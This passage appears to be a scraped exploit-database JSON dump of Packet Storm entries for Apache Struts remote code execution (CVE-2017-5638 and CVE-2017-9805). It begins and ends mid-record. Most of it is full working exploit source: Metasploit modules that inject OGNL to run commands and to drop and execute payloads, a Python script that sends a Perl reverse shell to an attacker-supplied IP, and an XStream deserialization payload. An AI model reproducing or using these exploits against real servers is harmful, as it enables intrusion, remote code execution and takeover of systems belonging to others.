datastore['ENABLE_STATIC'] \nognl << %Q|('#{rand_text_alpha(2)}')| \nproperties.each do |k,v| \nognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'| \nend \nognl = ognl[0...-4] \n \nr = send_struts_request(ognl) \n \nif r.code == 400 \nfail_with(Failure::UnexpectedReply, \"Server returned HTTP 400, consider toggling the ENABLE_STATIC option\") \nelsif r.headers['Location'] \n# r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action' \n# Extract the OGNL output from the Location path, and strip the two random chars \ns = r.headers['Location'].split('/')[1][2..-1] \n \nif s.nil? \n# Since the target didn't respond with an HTTP/400, we know the OGNL code executed. \n# But we didn't get any output, so we can't profile the target. Abort. \nreturn nil \nend \n \n# Confirm that all fields were returned, and non include extra (:) delimiters \n# If the OGNL fails, we might get a partial result back, in which case, we'll abort. \nif s.count(':') > properties.length \nprint_error(\"Failed to profile target. Response from server: #{r.to_s}\") \nfail_with(Failure::UnexpectedReply, \"Target responded with unexpected profiling data\") \nend \n \n# Separate the colon-delimited properties and store in the 'properties' hash \ns = s.split(':') \ni = 0 \nproperties.each do |k,v| \nproperties[k] = s[i] \ni += 1 \nend \n \nprint_good(\"Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}\" + \n\" #{properties[:'os.arch']}, running as #{properties[:'user.name']}\") \nreturn properties \nelse \nprint_error(\"Failed to profile target. Response from server: #{r.to_s}\") \nfail_with(Failure::UnexpectedReply, \"Server did not respond properly to profiling attempt.\") \nend \nend \n \ndef execute_command(cmd_input, opts={}) \n# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that. \nif cmd_input.include? ';' \nprint_warning(\"WARNING: Command contains bad characters: semicolons (;).\") \nend \n \nbegin \nproperties = profile_target \nos = properties[:'os.name'].downcase \nrescue \nvprint_warning(\"Target profiling was unable to determine operating system\") \nos = '' \nos = 'windows' if datastore['PAYLOAD'].downcase.include? 'win' \nos = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux' \nos = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix' \nend \n \nif (os.include? 'linux') || (os.include? 'nix') \ncmd = \"{'sh','-c','#{cmd_input}'}\" \nelsif os.include? 'win' \ncmd = \"{'cmd.exe','/c','#{cmd_input}'}\" \nelse \nvprint_error(\"Failed to detect target OS. Attempting to execute command directly\") \ncmd = cmd_input \nend \n \n# The following OGNL will run arbitrary commands on Windows and Linux \n# targets, as well as returning STDOUT and STDERR. In my testing, \n# on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds. \n \nvprint_status(\"Executing: #{cmd}\") \n \nognl = \"\" \nognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC'] \nognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).| \nognl << %q|(#p.redirectErrorStream(true)).| \nognl << %q|(#process=#p.start()).| \nognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).| \nognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).| \nognl << %q|(#r.flush())| \n \nr = send_struts_request(ognl) \n \nif r && r.code == 200 \nprint_good(\"Command executed:\\n#{r.body}\") \nelsif r \nif r.body.length == 0 \nprint_status(\"Payload sent, but no output provided from server.\") \nelsif r.body.length > 0 \nprint_error(\"Failed to run command. Response from server: #{r.to_s}\") \nend \nend \nend \n \ndef send_payload \n# Probe for the target OS and architecture \nbegin \nproperties = profile_target \nos = properties[:'os.name'].downcase \nrescue \nvprint_warning(\"Target profiling was unable to determine operating system\") \nos = '' \nos = 'windows' if datastore['PAYLOAD'].downcase.include? 'win' \nos = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux' \nos = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix' \nend \n \ndata_header = datastore['HEADER'] \nif data_header.empty? \nfail_with(Failure::BadConfig, \"HEADER parameter cannot be blank when sending a payload\") \nend \n \nrandom_filename = datastore['TEMPFILE'] \n \n# d = data stream from HTTP header \n# f = path to temp file \n# s = stream/handle to temp file \nognl = \"\" \nognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC'] \nognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).| \nognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).| \nognl << %q|(#f.setExecutable(true)).| \nognl << %q|(#f.deleteOnExit()).| \nognl << %q|(#s=new java.io.FileOutputStream(#f)).| \nognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).| \nognl << %q|(#s.write(#d)).| \nognl << %q|(#s.close()).| \nognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).| \nognl << %q|(#p.start()).| \nognl << %q|(#f.delete()).| \n \nsuccess_string = rand_text_alpha(4) \nognl << %Q|('#{success_string}')| \n \nexe = [generate_payload_exe].pack(\"m\").delete(\"\\n\") \nr = send_struts_request(ognl, payload: exe) \n \nif r && r.headers && r.headers['Location'].split('/')[1] == success_string \nprint_good(\"Payload successfully dropped and executed.\") \nelsif r && r.headers['Location'] \nvprint_error(\"RESPONSE: \" + r.headers['Location']) \nfail_with(Failure::PayloadFailed, \"Target did not successfully execute the request\") \nelsif r && r.code == 400 \nfail_with(Failure::UnexpectedReply, \"Target reported an unspecified error while executing the payload\") \nend \nend \nend \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/149277/struts2_namespace_ognl.rb.txt"}, {"lastseen": "2017-03-15T01:15:35", "description": "", "cvss3": {}, "published": "2017-03-14T00:00:00", "type": "packetstorm", "title": "Apache Struts Jakarta Multipart Parser OGNL Injection", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-14T00:00:00", "id": "PACKETSTORM:141630", "href": "https://packetstormsecurity.com/files/141630/Apache-Struts-Jakarta-Multipart-Parser-OGNL-Injection.html", "sourceData": "`## \n# This module requires Metasploit: http://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'msf/core' \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::EXE \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection', \n'Description' => %q{ \nThis module exploits a remote code execution vunlerability in Apache Struts \nversion 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed \nvia http Content-Type header. \n \nNative payloads will be converted to executables and dropped in the \nserver's temp dir. If this fails, try a cmd/* payload, which won't \nhave to write to the disk. \n}, \n'Author' => [ \n'Nike.Zheng', # PoC \n'Nixawk', # Metasploit module \n'Chorder', # Metasploit module \n'egypt', # combining the above \n'Jeffrey Martin', # Java fu \n], \n'References' => [ \n['CVE', '2017-5638'], \n['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045'] \n], \n'Privileged' => true, \n'Targets' => [ \n[ \n'Universal', { \n'Platform' => %w{ unix windows linux }, \n'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], \n}, \n], \n], \n'DisclosureDate' => 'Mar 07 2017', \n'DefaultTarget' => 0)) \n \nregister_options( \n[ \nOpt::RPORT(8080), \nOptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]), \n] \n) \nregister_advanced_options( \n[ \nOptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]) \n] \n) \n \n@data_header = \"X-#{rand_text_alpha(4)}\" \nend \n \ndef check \nvar_a = rand_text_alpha_lower(4) \n \nognl = \"\" \nognl << %q|(#os=@java.lang.System@getProperty('os.name')).| \nognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))| \n \nbegin \nresp = send_struts_request(ognl) \nrescue Msf::Exploit::Failed \nreturn Exploit::CheckCode::Unknown \nend \n \nif resp && resp.code == 200 && resp.headers[var_a] \nvprint_good(\"Victim operating system: #{resp.headers[var_a]}\") \nExploit::CheckCode::Vulnerable \nelse \nExploit::CheckCode::Safe \nend \nend \n \ndef exploit \ncase payload.arch.first \n#when ARCH_JAVA \n# datastore['LHOST'] = nil \n# resp = send_payload(payload.encoded_jar) \nwhen ARCH_CMD \nresp = execute_command(payload.encoded) \nelse \nresp = send_payload(generate_payload_exe) \nend \n \nrequire'pp' \npp resp.headers if resp \nend \n \ndef send_struts_request(ognl, extra_header: '') \nuri = normalize_uri(datastore[\"TARGETURI\"]) \ncontent_type = \"%{(#_='multipart/form-data').\" \ncontent_type << \"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).\" \ncontent_type << \"(#_memberAccess?\" \ncontent_type << \"(#_memberAccess=#dm):\" \ncontent_type << \"((#container=#context['com.opensymphony.xwork2.ActionContext.container']).\" \ncontent_type << \"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).\" \ncontent_type << \"(#ognlUtil.getExcludedPackageNames().clear()).\" \ncontent_type << \"(#ognlUtil.getExcludedClasses().clear()).\" \ncontent_type << \"(#context.setMemberAccess(#dm)))).\" \ncontent_type << ognl \ncontent_type << \"}\" \n \nheaders = { 'Content-Type' => content_type } \nif extra_header \nheaders[@data_header] = extra_header \nend \n \n#puts content_type.gsub(\").\", \").\\n\") \n#puts \n \nresp = send_request_cgi( \n'uri' => uri, \n'method' => datastore['HTTPMethod'], \n'headers' => headers \n) \n \nif resp && resp.code == 404 \nfail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI') \nend \nresp \nend \n \ndef execute_command(cmd) \nognl = '' \nognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).| \n \n# You can add headers to the server's response for debugging with this: \n#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).| \n#ognl << %q|(#r.addHeader('decoded',#cmd)).| \n \nognl << %q|(#os=@java.lang.System@getProperty('os.name')).| \nognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).| \nognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).| \nognl << %q|(#p.redirectErrorStream(true)).| \nognl << %q|(#process=#p.start())| \n \nsend_struts_request(ognl, extra_header: cmd) \nend \n \ndef send_payload(exe) \n \nognl = \"\" \nognl << %Q|(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).| \nognl << %Q|(#f=@java.io.File@createTempFile('#{rand_text_alpha(4)}','.exe')).| \n#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).| \n#ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).| \nognl << %q|(#f.setExecutable(true)).| \nognl << %q|(#f.deleteOnExit()).| \nognl << %q|(#fos=new java.io.FileOutputStream(#f)).| \n \n# Using stuff from the sun.* package here means it likely won't work on \n# non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to \n# work and I don't see a better way of getting binary data onto the \n# system. =/ \nognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).| \nognl << %q|(#fos.write(#d)).| \nognl << %q|(#fos.close()).| \n \nognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).| \nognl << %q|(#p.start()).| \nognl << %q|(#f.delete())| \n \nsend_struts_request(ognl, extra_header: [exe].pack(\"m\").delete(\"\\n\")) \nend \n \nend \n \n=begin \nDoesn't work: \n \nognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).| \nognl << %q|(#c=#cl.loadClass('metasploit.Payload')).| \nognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'main',true).get(0)).| \nognl << %q|(#r.addHeader('meth',#m.toGenericString())).| \nognl << %q|(#m.invoke(null,null)).| \n \n#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 \n#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 \n#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 \n#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).| \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).| \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).| \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).| \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899 \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed \n#ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6 \n \n#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 \n#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 \n#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 \n#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9 \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).| \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).| \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).| \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).| \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5 \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed \n#ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884 \n \n=end \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/141630/struts2_content_type_ognl.rb.txt"}, {"lastseen": "2017-03-12T01:15:38", "description": "", "cvss3": {}, "published": "2017-03-10T00:00:00", "type": "packetstorm", "title": "Apache Struts 2 2.3.x / 2.5.x Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-10T00:00:00", "id": "PACKETSTORM:141576", "href": "https://packetstormsecurity.com/files/141576/Apache-Struts-2-2.3.x-2.5.x-Remote-Code-Execution.html", "sourceData": "`# CVE-2017-5638 \n# Apache Struts 2 Vulnerability Remote Code Execution \n# Reverse shell from target \n# Author: anarc0der - github.com/anarcoder \n# Tested with tomcat8 \n \n# Install tomcat8 \n# Deploy WAR file https://github.com/nixawk/labs/tree/master/CVE-2017-5638 \n \n# Ex: \n# Open: $ nc -lnvp 4444 \n# python2 struntsrce.py --target=http://localhost:8080/struts2_2.3.15.1-showcase/showcase.action --ip=127.0.0.1 --port=4444 \n \n\"\"\" \nUsage: \nstruntsrce.py --target=<arg> --ip=<arg> --port=<arg> \nstruntsrce.py --help \nstruntsrce.py --version \n \nOptions: \n-h --help Open help menu \n-v --version Show version \nRequired options: \n--target='url target' your target :) \n--ip='10.10.10.1' your ip \n--port=4444 open port for back connection \n \n\"\"\" \n \nimport urllib2 \nimport httplib \nimport os \nimport sys \nfrom docopt import docopt, DocoptExit \n \n \nclass CVE_2017_5638(): \n \ndef __init__(self, p_target, p_ip, p_port): \nself.target = p_target \nself.ip = p_ip \nself.port = p_port \nself.revshell = self.generate_revshell() \nself.payload = self.generate_payload() \nself.exploit() \n \ndef generate_revshell(self): \nrevshell = \"perl -e \\\\'use Socket;$i=\\\"{0}\\\";$p={1};\"\\ \n\"socket(S,PF_INET,SOCK_STREAM,getprotobyname(\\\"tcp\\\"));\"\\ \n\"if(connect(S,sockaddr_in($p,inet_aton($i)))){{open\"\\ \n\"(STDIN,\\\">&S\\\");open(STDOUT,\\\">&S\\\");\"\\ \n\"open(STDERR,\\\">&S\\\");exec(\\\"/bin/sh -i\\\");}};\\\\'\" \nreturn revshell.format(self.ip, self.port) \n \ndef generate_payload(self): \npayload = \"%{{(#_='multipart/form-data').\"\\ \n\"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).\"\\ \n\"(#_memberAccess?\"\\ \n\"(#_memberAccess=#dm):\"\\ \n\"((#container=#context['com.opensymphony.xwork2.\"\\ \n\"ActionContext.container']).\"\\ \n\"(#ognlUtil=#container.getInstance(@com.opensymphony.\"\\ \n\"xwork2.ognl.OgnlUtil@class)).\"\\ \n\"(#ognlUtil.getExcludedPackageNames().clear()).\"\\ \n\"(#ognlUtil.getExcludedClasses().clear()).\"\\ \n\"(#context.setMemberAccess(#dm)))).\"\\ \n\"(#cmd='{0}').\"\\ \n\"(#iswin=(@java.lang.System@getProperty('os.name').\"\\ \n\"toLowerCase().contains('win'))).\"\\ \n\"(#cmds=(#iswin?{{'cmd.exe','/c',#cmd}}:\"\\ \n\"{{'/bin/bash','-c',#cmd}})).\"\\ \n\"(#p=new java.lang.ProcessBuilder(#cmds)).\"\\ \n\"(#p.redirectErrorStream(true)).(#process=#p.start()).\"\\ \n\"(#ros=(@org.apache.struts2.ServletActionContext@get\"\\ \n\"Response().getOutputStream())).\"\\ \n\"(@org.apache.commons.io.IOUtils@copy\"\\ \n\"(#process.getInputStream(),#ros)).(#ros.flush())}}\" \nreturn payload.format(self.revshell) \n \ndef exploit(self): \ntry: \n# Set proxy for debug request, just uncomment these lines \n# Change the proxy port \n \n#proxy = urllib2.ProxyHandler({'http': '127.0.0.1:8081'}) \n#opener = urllib2.build_opener(proxy) \n#urllib2.install_opener(opener) \n \nheaders = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64)' \n' AppleWebKit/537.36 (KHTML, like Gecko)' \n' Chrome/55.0.2883.87 Safari/537.36', \n'Content-Type': self.payload} \nxpl = urllib2.Request(self.target, headers=headers) \nbody = urllib2.urlopen(xpl).read() \nexcept httplib.IncompleteRead as b: \nbody = b.partial \nprint body \n \n \ndef main(): \ntry: \narguments = docopt(__doc__, version=\"Apache Strunts RCE Exploit\") \ntarget = arguments['--target'] \nip = arguments['--ip'] \nport = arguments['--port'] \nexcept DocoptExit as e: \nos.system('python struntsrce.py --help') \nsys.exit(1) \n \nCVE_2017_5638(target, ip, port) \n \n \nif __name__ == '__main__': \nmain() \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/141576/struntsrce.py.txt"}, {"lastseen": "2017-09-08T05:08:41", "description": "", "cvss3": {}, "published": "2017-09-07T00:00:00", "type": "packetstorm", "title": "Apache Struts 2.5.12 XStream Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2017-9805"], "modified": "2017-09-07T00:00:00", "id": "PACKETSTORM:144050", "href": "https://packetstormsecurity.com/files/144050/Apache-Struts-2.5.12-XStream-Remote-Code-Execution.html", "sourceData": "`# Exploit Title: Struts 2.5 - 2.5.12 REST Plugin XStream RCE \n# Google Dork: filetype:action \n# Date: 06/09/2017 \n# Exploit Author: Warflop \n# Vendor Homepage: https://struts.apache.org/ \n# Software Link: http://mirror.nbtelecom.com.br/apache/struts/2.5.10/struts-2.5.10-all.zip \n# Version: Struts 2.5 a Struts 2.5.12 \n# Tested on: Struts 2.5.10 \n# CVE : 2017-9805 \n \n#!/usr/bin/env python3 \n# coding=utf-8 \n# ***************************************************** \n# Struts CVE-2017-9805 Exploit \n# Warflop (http://securityattack.com.br/) \n# Greetz: Pimps & G4mbl3r \n# ***************************************************** \nimport requests \nimport sys \n \ndef exploration(command): \n \nexploit = ''' \n<map> \n<entry> \n<jdk.nashorn.internal.objects.NativeString> \n<flags>0</flags> \n<value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\"> \n<dataHandler> \n<dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\"> \n<is class=\"javax.crypto.CipherInputStream\"> \n<cipher class=\"javax.crypto.NullCipher\"> \n<initialized>false</initialized> \n<opmode>0</opmode> \n<serviceIterator class=\"javax.imageio.spi.FilterIterator\"> \n<iter class=\"javax.imageio.spi.FilterIterator\"> \n<iter class=\"java.util.Collections$EmptyIterator\"/> \n<next class=\"java.lang.ProcessBuilder\"> \n<command> \n<string>/bin/sh</string><string>-c</string><string>'''+ command +'''</string> \n</command> \n<redirectErrorStream>false</redirectErrorStream> \n</next> \n</iter> \n<filter class=\"javax.imageio.ImageIO$ContainsFilter\"> \n<method> \n<class>java.lang.ProcessBuilder</class> \n<name>start</name> \n<parameter-types/> \n</method> \n<name>foo</name> \n</filter> \n<next class=\"string\">foo</next> \n</serviceIterator> \n<lock/> \n</cipher> \n<input class=\"java.lang.ProcessBuilder$NullInputStream\"/> \n<ibuffer/> \n<done>false</done> \n<ostart>0</ostart> \n<ofinish>0</ofinish> \n<closed>false</closed> \n</is> \n<consumed>false</consumed> \n</dataSource> \n<transferFlavors/> \n</dataHandler> \n<dataLen>0</dataLen> \n</value> \n</jdk.nashorn.internal.objects.NativeString> \n<jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/> \n</entry> \n<entry> \n<jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/> \n<jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/> \n</entry> \n</map> \n''' \n \n \nurl = sys.argv[1] \n \nheaders = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0', \n'Content-Type': 'application/xml'} \n \nrequest = requests.post(url, data=exploit, headers=headers) \nprint request.text \n \nif len(sys.argv) < 3: \nprint ('CVE: 2017-9805 - Apache Struts2 Rest Plugin Xstream RCE') \nprint ('[*] Warflop - http://securityattack.com.br') \nprint ('[*] Greatz: Pimps & G4mbl3r') \nprint ('[*] Use: python struts2.py URL COMMAND') \nprint ('[*] Example: python struts2.py http://sitevulnerable.com/struts2-rest-showcase/orders/3 id') \nexit(0) \nelse: \nexploration(sys.argv[2]) \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/144050/apachestruts25-exec.txt"}, {"lastseen": "2017-09-08T05:08:41", "description": "", "cvss3": {}, "published": "2017-09-07T00:00:00", "type": "packetstorm", "title": "Apache Struts 2 REST Plugin XStream Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2017-9805"], "modified": "2017-09-07T00:00:00", "id": "PACKETSTORM:144034", "href": "https://packetstormsecurity.com/files/144034/Apache-Struts-2-REST-Plugin-XStream-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \n \nRank = ExcellentRanking \n \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::CmdStager \ninclude Msf::Exploit::Powershell \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Apache Struts 2 REST Plugin XStream RCE', \n'Description' => %q{ \nApache Struts versions 2.5 through 2.5.12 using the REST plugin are \nvulnerable to a Java deserialization attack in the XStream library. \n}, \n'Author' => [ \n'Man Yue Mo', # Vulnerability discovery \n'wvu' # Metasploit module \n], \n'References' => [ \n['CVE', '2017-9805'], \n['URL', 'https://struts.apache.org/docs/s2-052.html'], \n['URL', 'https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement'], \n['URL', 'https://github.com/mbechler/marshalsec'] \n], \n'DisclosureDate' => 'Sep 5 2017', \n'License' => MSF_LICENSE, \n'Platform' => ['unix', 'python', 'linux', 'win'], \n'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64], \n'Privileged' => false, \n'Targets' => [ \n['Unix (In-Memory)', \n'Platform' => 'unix', \n'Arch' => ARCH_CMD \n], \n['Python (In-Memory)', \n'Platform' => 'python', \n'Arch' => ARCH_PYTHON \n], \n['PowerShell (In-Memory)', \n'Platform' => 'win', \n'Arch' => [ARCH_X86, ARCH_X64] \n], \n['Linux (Dropper)', \n'Platform' => 'linux', \n'Arch' => [ARCH_X86, ARCH_X64] \n], \n['Windows (Dropper)', \n'Platform' => 'win', \n'Arch' => [ARCH_X86, ARCH_X64] \n] \n], \n'DefaultTarget' => 0 \n)) \n \nregister_options([ \nOpt::RPORT(8080), \nOptString.new('TARGETURI', [true, 'Path to Struts action', '/struts2-rest-showcase/orders/3']) \n]) \nend \n \ndef check \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => target_uri.path, \n'ctype' => 'application/xml', \n'data' => random_crap \n) \n \nif res && res.code == 500 && res.body.include?('xstream') \nCheckCode::Appears \nelse \nCheckCode::Safe \nend \nend \n \ndef exploit \ncase target.name \nwhen /Unix/, /Python/, /PowerShell/ \nexecute_command(payload.encoded) \nelse \nexecute_cmdstager \nend \nend \n \ndef execute_command(cmd, opts = {}) \ncase target.name \nwhen /Unix/, /Linux/ \ncmd = %W{/bin/sh -c #{cmd}} \nwhen /Python/ \ncmd = %W{python -c #{cmd}} \nwhen /PowerShell/ \n# This shit doesn't work yet \nrequire 'pry'; binding.pry \ncmd = %W{cmd.exe /c #{cmd_psh_payload(cmd, payload.arch, remove_comspec: true)}} \nwhen /Windows/ \ncmd = %W{cmd.exe /c #{cmd}} \nend \n \n# Encode each command argument with HTML entities \ncmd.map! { |arg| Rex::Text.html_encode(arg) } \n \nsend_request_cgi( \n'method' => 'POST', \n'uri' => target_uri.path, \n'ctype' => 'application/xml', \n'data' => xstream_payload(cmd) \n) \nend \n \n# java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO \ndef xstream_payload(cmd) \n# XXX: <spillLength> and <read> need to be removed for Windows \n<<EOF \n<map> \n<entry> \n<jdk.nashorn.internal.objects.NativeString> \n<flags>0</flags> \n<value 